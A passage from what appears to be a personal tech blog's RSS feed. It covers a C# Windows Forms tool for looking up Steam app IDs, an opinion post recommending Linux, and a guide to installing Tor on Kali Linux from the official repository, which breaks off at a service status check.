&lt;p>The following &lt;a href="https://api.steampowered.com/ISteamApps/GetAppList/v2/">GET Request&lt;/a> contains exactly &lt;strong>113347 records&lt;/strong>, it would not be very smart to call every time we press a button this request instead I prefered to call it only one time when I needed to open the program before the InitializeComponent() call in the constructor.&lt;/p>
&lt;h2 id="code-overview">
Code overview
&lt;a class="heading-link" href="#code-overview">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is the Form code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-cs" data-lang="cs">&lt;span style="color:#66d9ef">using&lt;/span> Newtonsoft.Json;
&lt;span style="color:#66d9ef">using&lt;/span> Newtonsoft.Json.Linq;
&lt;span style="color:#66d9ef">using&lt;/span> System;
&lt;span style="color:#66d9ef">using&lt;/span> System.Collections.Generic;
&lt;span style="color:#66d9ef">using&lt;/span> System.ComponentModel;
&lt;span style="color:#66d9ef">using&lt;/span> System.Data;
&lt;span style="color:#66d9ef">using&lt;/span> System.Drawing;
&lt;span style="color:#66d9ef">using&lt;/span> System.Linq;
&lt;span style="color:#66d9ef">using&lt;/span> System.Net.Http;
&lt;span style="color:#66d9ef">using&lt;/span> System.Text;
&lt;span style="color:#66d9ef">using&lt;/span> System.Threading.Tasks;
&lt;span style="color:#66d9ef">using&lt;/span> System.Windows.Forms;
&lt;span style="color:#66d9ef">namespace&lt;/span> SteamAppIdIdentifier
{
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">partial&lt;/span> &lt;span style="color:#66d9ef">class&lt;/span> &lt;span style="color:#a6e22e">SteamAppId&lt;/span> : Form
{
&lt;span style="color:#66d9ef">protected&lt;/span> DataTableGeneration dataTableGeneration;
&lt;span style="color:#66d9ef">public&lt;/span> SteamAppId()
{
dataTableGeneration = &lt;span style="color:#66d9ef">new&lt;/span> DataTableGeneration();
Task.Run(&lt;span style="color:#66d9ef">async&lt;/span>() =&amp;gt; &lt;span style="color:#66d9ef">await&lt;/span> dataTableGeneration.GetDataTableAsync(dataTableGeneration)).Wait();
InitializeComponent();
}
&lt;span style="color:#66d9ef">private&lt;/span> &lt;span style="color:#66d9ef">void&lt;/span> SteamAppId_Load(&lt;span style="color:#66d9ef">object&lt;/span> sender, EventArgs e)
{
dataGridView1.DataSource = dataTableGeneration.DataTableToGenerate;
}
&lt;span style="color:#66d9ef">private&lt;/span> &lt;span style="color:#66d9ef">void&lt;/span> btnShowAll_Click(&lt;span style="color:#66d9ef">object&lt;/span> sender, EventArgs e)
{
searchTextBox.Text = &lt;span style="color:#66d9ef">string&lt;/span>.Empty;
((DataTable)dataGridView1.DataSource).DefaultView.RowFilter = &lt;span style="color:#66d9ef">string&lt;/span>.Format(&lt;span style="color:#e6db74">&amp;#34;Name like &amp;#39;%{0}%&amp;#39;&amp;#34;&lt;/span>, searchTextBox.Text);
}
&lt;span style="color:#66d9ef">private&lt;/span> &lt;span style="color:#66d9ef">void&lt;/span> btnSearch_Click(&lt;span style="color:#66d9ef">object&lt;/span> sender, EventArgs e)
{
&lt;span style="color:#66d9ef">try&lt;/span>
{
((DataTable)dataGridView1.DataSource).DefaultView.RowFilter = &lt;span style="color:#66d9ef">string&lt;/span>.Format(&lt;span style="color:#e6db74">&amp;#34;Name like &amp;#39;%{0}%&amp;#39;&amp;#34;&lt;/span>, searchTextBox.Text.Replace(&lt;span style="color:#e6db74">&amp;#34;&amp;#39;&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;&amp;#39;&amp;#39;&amp;#34;&lt;/span>));
}
&lt;span style="color:#66d9ef">catch&lt;/span> (Exception ex) { }
}
}
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the code that deserializes the JSON and generates the Data Table which will be used to show the Grid View content:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-cs" data-lang="cs">&lt;span style="color:#66d9ef">using&lt;/span> Newtonsoft.Json;
&lt;span style="color:#66d9ef">using&lt;/span> System;
&lt;span style="color:#66d9ef">using&lt;/span> System.Collections.Generic;
&lt;span style="color:#66d9ef">using&lt;/span> System.ComponentModel;
&lt;span style="color:#66d9ef">using&lt;/span> System.Data;
&lt;span style="color:#66d9ef">using&lt;/span> System.Linq;
&lt;span style="color:#66d9ef">using&lt;/span> System.Net.Http;
&lt;span style="color:#66d9ef">using&lt;/span> System.Text;
&lt;span style="color:#66d9ef">using&lt;/span> System.Threading.Tasks;
&lt;span style="color:#66d9ef">namespace&lt;/span> SteamAppIdIdentifier
{
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">class&lt;/span> &lt;span style="color:#a6e22e">DataTableGeneration&lt;/span>
{
&lt;span style="color:#66d9ef">private&lt;/span> DataTable dataTable;
&lt;span style="color:#66d9ef">public&lt;/span> DataTableGeneration() { }
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">async&lt;/span> Task&amp;lt;DataTable&amp;gt; GetDataTableAsync(DataTableGeneration dataTableGeneration) {
HttpClient httpClient = &lt;span style="color:#66d9ef">new&lt;/span> HttpClient();
&lt;span style="color:#66d9ef">string&lt;/span> content = &lt;span style="color:#66d9ef">await&lt;/span> httpClient.GetStringAsync(&lt;span style="color:#e6db74">&amp;#34;https://api.steampowered.com/ISteamApps/GetAppList/v2/&amp;#34;&lt;/span>);
SteamGames steamGames = JsonConvert.DeserializeObject&amp;lt;SteamGames&amp;gt;(content);
DataTable dt = &lt;span style="color:#66d9ef">new&lt;/span> DataTable();
dt.Columns.Add(&lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">typeof&lt;/span>(String));
dt.Columns.Add(&lt;span style="color:#e6db74">&amp;#34;AppId&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">typeof&lt;/span>(&lt;span style="color:#66d9ef">int&lt;/span>));
&lt;span style="color:#66d9ef">foreach&lt;/span> (&lt;span style="color:#66d9ef">var&lt;/span> item &lt;span style="color:#66d9ef">in&lt;/span> steamGames.Applist.Apps)
{
dt.Rows.Add(item.Name, item.Appid);
}
dataTableGeneration.DataTableToGenerate = dt;
&lt;span style="color:#66d9ef">return&lt;/span> dt;
}
&lt;span style="color:#75715e">#region Get and Set
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#66d9ef">public&lt;/span> DataTable DataTableToGenerate{
&lt;span style="color:#66d9ef">get&lt;/span> { &lt;span style="color:#66d9ef">return&lt;/span> dataTable; } &lt;span style="color:#75715e">// get method
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#66d9ef">set&lt;/span> { dataTable = &lt;span style="color:#66d9ef">value&lt;/span>; } &lt;span style="color:#75715e">// set method
&lt;/span>&lt;span style="color:#75715e">&lt;/span> }
&lt;span style="color:#75715e">#endregion
&lt;/span>&lt;span style="color:#75715e">&lt;/span>
&lt;span style="color:#75715e">#region JSON Properties
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">partial&lt;/span> &lt;span style="color:#66d9ef">class&lt;/span> &lt;span style="color:#a6e22e">SteamGames&lt;/span>
{
&lt;span style="color:#a6e22e"> [JsonProperty(&amp;#34;applist&amp;#34;)]&lt;/span>
&lt;span style="color:#66d9ef">public&lt;/span> Applist Applist { &lt;span style="color:#66d9ef">get&lt;/span>; &lt;span style="color:#66d9ef">set&lt;/span>; }
}
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">partial&lt;/span> &lt;span style="color:#66d9ef">class&lt;/span> &lt;span style="color:#a6e22e">Applist&lt;/span>
{
&lt;span style="color:#a6e22e"> [JsonProperty(&amp;#34;apps&amp;#34;)]&lt;/span>
&lt;span style="color:#66d9ef">public&lt;/span> App[] Apps { &lt;span style="color:#66d9ef">get&lt;/span>; &lt;span style="color:#66d9ef">set&lt;/span>; }
}
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">partial&lt;/span> &lt;span style="color:#66d9ef">class&lt;/span> &lt;span style="color:#a6e22e">App&lt;/span>
{
&lt;span style="color:#a6e22e"> [JsonProperty(&amp;#34;appid&amp;#34;)]&lt;/span>
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">long&lt;/span> Appid { &lt;span style="color:#66d9ef">get&lt;/span>; &lt;span style="color:#66d9ef">set&lt;/span>; }
&lt;span style="color:#a6e22e">
&lt;/span>&lt;span style="color:#a6e22e"> [JsonProperty(&amp;#34;name&amp;#34;)]&lt;/span>
&lt;span style="color:#66d9ef">public&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span> Name { &lt;span style="color:#66d9ef">get&lt;/span>; &lt;span style="color:#66d9ef">set&lt;/span>; }
}
&lt;span style="color:#75715e">#endregion
&lt;/span>&lt;span style="color:#75715e">&lt;/span> }
}
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="use-wait-to-block-the-thread">
Use Wait() to block the Thread
&lt;a class="heading-link" href="#use-wait-to-block-the-thread">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is not very recommend because it blocks the current Thread, but in this case to stop the application from loading the entire UI, this was exactly what I needed. Not only that, the function used to generate the Data Table needed to be async, from the moment the HTTP Get can extract more than 100k records.&lt;/p>
&lt;p>More info are available on the Microsft docs about the &lt;a href="https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.task.wait?view=net-5.0">Wait()&lt;/a> method.&lt;/p>
&lt;h2 id="generate-the-json-properties-with-quicktype">
Generate the JSON properties with quicktype
&lt;a class="heading-link" href="#generate-the-json-properties-with-quicktype">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>An example of a JSON body used is the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-json" data-lang="json">{
&lt;span style="color:#f92672">&amp;#34;applist&amp;#34;&lt;/span>: {
&lt;span style="color:#f92672">&amp;#34;apps&amp;#34;&lt;/span>: [
{
&lt;span style="color:#f92672">&amp;#34;appid&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">216938&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Pieterw test app76 ( 216938 )&amp;#34;&lt;/span>
},
{
&lt;span style="color:#f92672">&amp;#34;appid&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">660010&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;test2&amp;#34;&lt;/span>
},
{
&lt;span style="color:#f92672">&amp;#34;appid&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">660130&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;test3&amp;#34;&lt;/span>
},
{
&lt;span style="color:#f92672">&amp;#34;appid&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1118314&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>
},
{
&lt;span style="color:#f92672">&amp;#34;appid&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1083100&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Zaccaria Pinball - Tropical 2019 Table&amp;#34;&lt;/span>
}
]
}
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>There is a collection called &lt;strong>apps&lt;/strong> which is nested into &lt;strong>applist&lt;/strong>, if we paste the code on the &lt;strong>quicktype editor&lt;/strong>, we get this:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/gimmeTheSteamAppidByName/quickTypeJSON.png" alt="&amp;ldquo;JSON Properties&amp;rdquo;">&lt;/p>
&lt;p>Which is exactly what we need to use to get the Name and the APP ID from the JSON Body without using Dictionaries, Enumerables etc.&lt;/p>
&lt;h2 id="filter-the-data-inside-the-grid-view">
Filter the data inside the Grid View
&lt;a class="heading-link" href="#filter-the-data-inside-the-grid-view">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>So far so good, we generated the Grid View based on the JSON Body but there are too many rows to view, it would be better to filter these rows. We could use the RowFilter property to do this, besides using a button to restore the rows that we filtered:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-cs" data-lang="cs">&lt;span style="color:#66d9ef">private&lt;/span> &lt;span style="color:#66d9ef">void&lt;/span> btnShowAll_Click(&lt;span style="color:#66d9ef">object&lt;/span> sender, EventArgs e)
{
searchTextBox.Text = &lt;span style="color:#66d9ef">string&lt;/span>.Empty;
((DataTable)dataGridView1.DataSource).DefaultView.RowFilter = &lt;span style="color:#66d9ef">string&lt;/span>.Format(&lt;span style="color:#e6db74">&amp;#34;Name like &amp;#39;%{0}%&amp;#39;&amp;#34;&lt;/span>, searchTextBox.Text);
}
&lt;span style="color:#66d9ef">private&lt;/span> &lt;span style="color:#66d9ef">void&lt;/span> btnSearch_Click(&lt;span style="color:#66d9ef">object&lt;/span> sender, EventArgs e)
{
&lt;span style="color:#66d9ef">try&lt;/span>
{
((DataTable)dataGridView1.DataSource).DefaultView.RowFilter = &lt;span style="color:#66d9ef">string&lt;/span>.Format(&lt;span style="color:#e6db74">&amp;#34;Name like &amp;#39;%{0}%&amp;#39;&amp;#34;&lt;/span>, searchTextBox.Text.Replace(&lt;span style="color:#e6db74">&amp;#34;&amp;#39;&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;&amp;#39;&amp;#39;&amp;#34;&lt;/span>));
}
&lt;span style="color:#66d9ef">catch&lt;/span> (Exception ex) { }
}
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="lets-try-to-search-some-of-these-ids-on-the-steam-store">
Let&amp;rsquo;s try to search some of these IDs on the Steam Store
&lt;a class="heading-link" href="#lets-try-to-search-some-of-these-ids-on-the-steam-store">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>One last we thing that I would like to try is to search a game by name, then I can copy its ID and paste it in the browser to see if it&amp;rsquo;s correct. The Steam Store should load the correct page, let&amp;rsquo;s try with &lt;strong>Dota 2&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/gimmeTheSteamAppidByName/dota2Search.png" alt="&amp;ldquo;Dota 2 Search&amp;rdquo;">&lt;/p>
&lt;p>Copy the ID 570 and append it to the following url &lt;a href="https://store.steampowered.com/app/">https://store.steampowered.com/app/&lt;/a> right after &lt;strong>app/&lt;/strong> you should get something like this:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/gimmeTheSteamAppidByName/steamStorePage.png" alt="&amp;ldquo;Dota 2 Store Page&amp;rdquo;">
&lt;em>Screenshot made from the Steam Store Page&lt;/em>&lt;/p>
&lt;p>If we press the &lt;strong>Show All&lt;/strong> button the search bar becomes empty and we restore the Grid View:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/gimmeTheSteamAppidByName/restore.png" alt="&amp;ldquo;Restore&amp;rdquo;">&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I made this post not only to show my tool, but also to show I approached some problems and how to use some of the Steam APIs which are always useful to learn. You should now have a good overview about the Steam APIs and how to create a Windows Forms application for this kind of purposes.&lt;/p></description></item><item><title>Why you should switch to Linux</title><link>https://malwarewerewolf.com/posts/why-you-should-switch-to-linux/</link><pubDate>Sun, 24 Jan 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/why-you-should-switch-to-linux/</guid><description>&lt;p>After many years of using Windows, I dediced to switch to Linux for many reasons and I recommend to everyone to do the same. I wrote this post not only to share my thoughts but also to dispel a few myths, this is my personal opinion, everyone can argue about these thoughts.&lt;/p>
&lt;h2 id="linux-is-better-for-programming">
Linux is better for programming
&lt;a class="heading-link" href="#linux-is-better-for-programming">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>If you are not specifically programming with the .NET Framework which only works on Windows, all the other programming languages like &lt;strong>C, C++, Java, Python&lt;/strong> etc. will work flawlessly on Linux. You type a simple &lt;strong>sudo apt install packagename&lt;/strong> and you get everything ready in your terminal, no need to Google the installer and go through the installation process. On Windows some installers like &lt;strong>Python&lt;/strong>, gives you the options to set automatically the &lt;strong>environment variables&lt;/strong> on your machine, in this way you can call the command &lt;strong>python&lt;/strong> from your CMD. In other cases this does not happen, you need to do everything manually step by step.&lt;/p>
&lt;p>Another thing that I really dislike in Windows is the CMD, let&amp;rsquo;s take as an example the Python installer again, if you have the &lt;strong>CMD&lt;/strong> opened and you type &lt;strong>python&lt;/strong> after setting the environment variable, this is not recognized, unless you open another CMD or you install a package manager like &lt;a href="https://github.com/chocolatey/choco">Chocolatey&lt;/a> and type &lt;strong>refreshenv&lt;/strong> . I found a tool like the &lt;strong>Powershell&lt;/strong> really useful when you are programming with the .NET stack but in all other cases is not like the Linux terminal.&lt;/p>
&lt;p>Speaking of the &lt;strong>C language&lt;/strong>, programming on Windows is a nightmare, yes you can use Visual Studio but you need to set up an entire IDE and you can&amp;rsquo;t use some C libraries missing many functionalities.&lt;/p>
&lt;h2 id="linux-is-faster-and-more-secure-than-windows">
Linux is faster and more secure than Windows
&lt;a class="heading-link" href="#linux-is-faster-and-more-secure-than-windows">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Linux is more powerful, versatile and light-weight, you will notice a significant improvement in speed on a Linux distro when you start working with it.&lt;/p>
&lt;p>It is more secure from the moment is open source, everyone can contribute to the code to improve it and someone will find a vulnerability long before hackers can target a Linux distro.&lt;/p>
&lt;h2 id="installing-linux-is-hard">
Installing Linux is hard!
&lt;a class="heading-link" href="#installing-linux-is-hard">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Let&amp;rsquo;s say that you have a PC without Windows, an empty SSD and you want to install &lt;strong>Ubuntu&lt;/strong>, the process is really simple and straightforward from the moment you do not need to partion correclty the disks. It&amp;rsquo;s just like a simple installation like on Windows with a step by step on the screen, nothing more.&lt;/p>
&lt;p>Installing Linux in Dual Boot is not hard but you need to understand how it works, before UEFI was introduced, installing an OS like Ubuntu was a piece of cake on a Legacy Bios, now many things have changed and you need to pay attention in order to avoid some issues.&lt;/p>
&lt;p>When I was looking a good guide about &lt;em>how to install Ubuntu alongside Windows 10&lt;/em>, I didn&amp;rsquo;t find a tutorial where the author was creating an &lt;strong>EFI partition&lt;/strong>. If you don&amp;rsquo;t manually partition the disks, &lt;strong>Grub&lt;/strong> will edit the &lt;strong>EFI partition&lt;/strong> on Windows 10. Let&amp;rsquo;s say that you want to remove Ubuntu, if you delete its partition from Windows 10 and you reboot nothing will work because Grub was the Windows 10 bootloader. Don&amp;rsquo;t get me wrong, you can do whatever you want but it&amp;rsquo;s not better to create a separate EFI partition for Ubuntu and leave Windows 10 alone ? In this way you can boot in Windows without using Grub from the &lt;strong>UEFI boot menu&lt;/strong>, everything is reversible simply by removing the Linux UEFI listing from your UEFI/BIOS settings.&lt;/p>
&lt;h2 id="its-still-too-complicated-i-will-unplug-my-ssd">
It&amp;rsquo;s still too complicated, I will unplug my SSD!
&lt;a class="heading-link" href="#its-still-too-complicated-i-will-unplug-my-ssd">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Well congratulations you just harmed your hardware! Seriously don&amp;rsquo;t do this, check &lt;a href="https://askubuntu.com/questions/1033497/dual-boot-windows-10-and-linux-ubuntu-on-separate-ssd/1126970#1126970">this link&lt;/a> for a complete explanation.&lt;/p>
&lt;h2 id="linux-is-made-for-the-expert-users">
Linux is made for the expert users!
&lt;a class="heading-link" href="#linux-is-made-for-the-expert-users">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Wait wait, who told you this lie ? Linux is made for everyone, there are so many distributions for a beginner like &lt;strong>Ubuntu, Linux Mint, Pop!_OS, Elementary OS&lt;/strong> to name a few. On Ubuntu you can simply install applications with the Ubuntu Store without touching the terminal, of course if you want to install applications which are not listed in the store you have to use the terminal. There are many guides about &lt;em>how to learn the Linux commands&lt;/em>, I recommend &lt;a href="https://ubuntu.com/tutorials/command-line-for-beginners#1-overview">this one&lt;/a>.&lt;/p>
&lt;h2 id="it-isnt-better-install-linux-with-vbox-or-vmware-">
It isn&amp;rsquo;t better install Linux with VBox or VMware ?
&lt;a class="heading-link" href="#it-isnt-better-install-linux-with-vbox-or-vmware-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It depends what you want to do, if you are going to test some commands that could break the OS or you simply want try some features, the answer is yes. If you want to use it for programming, playing videogames or everything else, the answer is no. Keep in mind that in a VM you will lose many resources that your OS could use, in this case I would recommend to install Linux on your computer without missing anything.&lt;/p>
&lt;h2 id="but-i-am-a-gamer-and-linux-is-not-fully-supported-to-play-windows-games">
But I am a gamer and Linux is not fully supported to play Windows games!
&lt;a class="heading-link" href="#but-i-am-a-gamer-and-linux-is-not-fully-supported-to-play-windows-games">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Seriously another big lie that someone told you. Speaking of Ubuntu based distros, you have everything that you need to play a game, the graphics drivers ? No problem you can install them during the installation:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/whyYouShouldSwitchToLinux/ubuntu3rdDrivers.PNG" alt="Ubuntu-3rd-Drivers">&lt;/p>
&lt;p>You have many ways to play Windows games on Linux, there is &lt;a href="https://www.protondb.com/">Protondb&lt;/a> which is integrated with the native Steam client, &lt;a href="https://lutris.net/">Lutris&lt;/a>, &lt;a href="https://www.playonlinux.com/en/">Playonlinux&lt;/a>, &lt;a href="https://github.com/sharkwouter/minigalaxy">Minigalaxy&lt;/a>, &lt;a href="https://tkashkin.tk/projects/gamehub/">Gamehub&lt;/a> to name a few.&lt;/p>
&lt;h2 id="what-about-the-other-windows-programs-">
What about the other Windows programs ?
&lt;a class="heading-link" href="#what-about-the-other-windows-programs-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>You can use &lt;a href="https://www.winehq.org/">Wine&lt;/a> which is a compatibility layer capable of running Windows applications. Of course you should check on the official &lt;a href="https://appdb.winehq.org/">AppDB&lt;/a> to see which programs are compatible, this is also a good reason to keep Windows 10, not everything is going to work.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As you can see Linux opens new opportunities to every user, I learnt so many things in a couple of days but there is still more to learn. Don&amp;rsquo;t be afraid to install Linux and follow different guides to see which one is the best, I would recommend to follow &lt;a href="https://askubuntu.com/questions/726972/dual-boot-windows-10-and-linux-ubuntu-on-separate-hard-drives?answertab=votes#tab-top">this guide&lt;/a> on &lt;strong>AskUbuntu&lt;/strong> which is well explained.&lt;/p></description></item><item><title>Install Tor on Kali Linux</title><link>https://malwarewerewolf.com/posts/install-tor-on-kali-linux/</link><pubDate>Mon, 21 Oct 2019 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/install-tor-on-kali-linux/</guid><description>&lt;p>I am big fan of open source, one of my favourite Linux distros is &lt;strong>Kali Linux&lt;/strong>. It is designed for penetration testing, I used it for several years but I still have more things to learn. It helped me to understand more about penetration testing and the different tools used to hack different systems. Many tools require root privilegies and on Kali you are permanently logged in as root, for security reasons you can&amp;rsquo;t use Tor if you have administrator privilegies.&lt;/p>
&lt;h2 id="it-is-easy-to-install-tor-why-make-a-post-for-this-topic-">
It is easy to install Tor, why make a post for this topic ?
&lt;a class="heading-link" href="#it-is-easy-to-install-tor-why-make-a-post-for-this-topic-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Well not really, it depends how you install it, of course there is a dedicated package, you just need to type &lt;strong>apt install tor&lt;/strong>, but the Tor docs don&amp;rsquo;t recommend to do this. The reason is because the distro repositories are not updated to the latest Tor version, so they are not very reliable.&lt;/p>
&lt;p>Kali is particular as distro, it is not easy to use, everything you are going to do requires a big knowledge of Linux terminal. I faced many problems that put my skills to the test and sometimes it&amp;rsquo;s very hard to figure out what is the real problem.&lt;/p>
&lt;h2 id="why-is-tor-so-important-">
Why is Tor so important ?
&lt;a class="heading-link" href="#why-is-tor-so-important-">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As mentioned on the offical &lt;a href="https://www.torproject.org/about/overview.html.en">page&lt;/a>, Tor protects you against a common form of Internet surveillance known as &lt;strong>traffic analysis&lt;/strong>, which can be used to infer who is talking to whom over a public network. In other words some people can know behavior and interests, so this is the main reason about why you should use Tor.&lt;/p>
&lt;h2 id="first-option">
First option
&lt;a class="heading-link" href="#first-option">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is the easiest way to install Tor but as I mentioned before, the Tor documentation says clearly to not use this method because you are downloading untrustable and obsolete versions. I will show in the next paragraph the second method:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ sudo add-apt-repository ppa:webupd8team/tor-browser
$ sudo apt update
$ sudo apt install tor
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="second-option">
Second option
&lt;a class="heading-link" href="#second-option">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This is the recommended method to use, visit the &lt;a href="https://www.torproject.org/docs/debian.html.en">Tor website&lt;/a> and choose a Debian version, I am using the stable one, copy the following lines and paste them in this file &lt;strong>&amp;quot;/etc/apt/sources.list&amp;quot;&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">deb https://deb.torproject.org/torproject.org stretch main
deb-src https://deb.torproject.org/torproject.org stretch main
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to avoid file certification problems, you need to import the &lt;strong>GPG keys&lt;/strong>, copy and paste those two lines in the terminal:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ curl https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import
$ gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Run the following commands to keep your current signing key:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ apt update
$ apt install tor deb.torproject.org-keyring
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-another-user">
Create another user
&lt;a class="heading-link" href="#create-another-user">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>From the moment on Kali you are always logged in as root, Tor can&amp;rsquo;t work, you need to use the &lt;strong>adduser&lt;/strong> command to add a new user to your system, replace &lt;strong>myNewUsername&lt;/strong> with the user that you want to create:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ adduser myNewUsername
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Set the new password for the user and run the following command to switch:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ su - myNewUsername
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="check-if-the-tor-service-is-working">
Check if the tor service is working
&lt;a class="heading-link" href="#check-if-the-tor-service-is-working">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Run the following commands to check if Tor has been installed correctly:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">$ sudo service tor start
$ service tor status
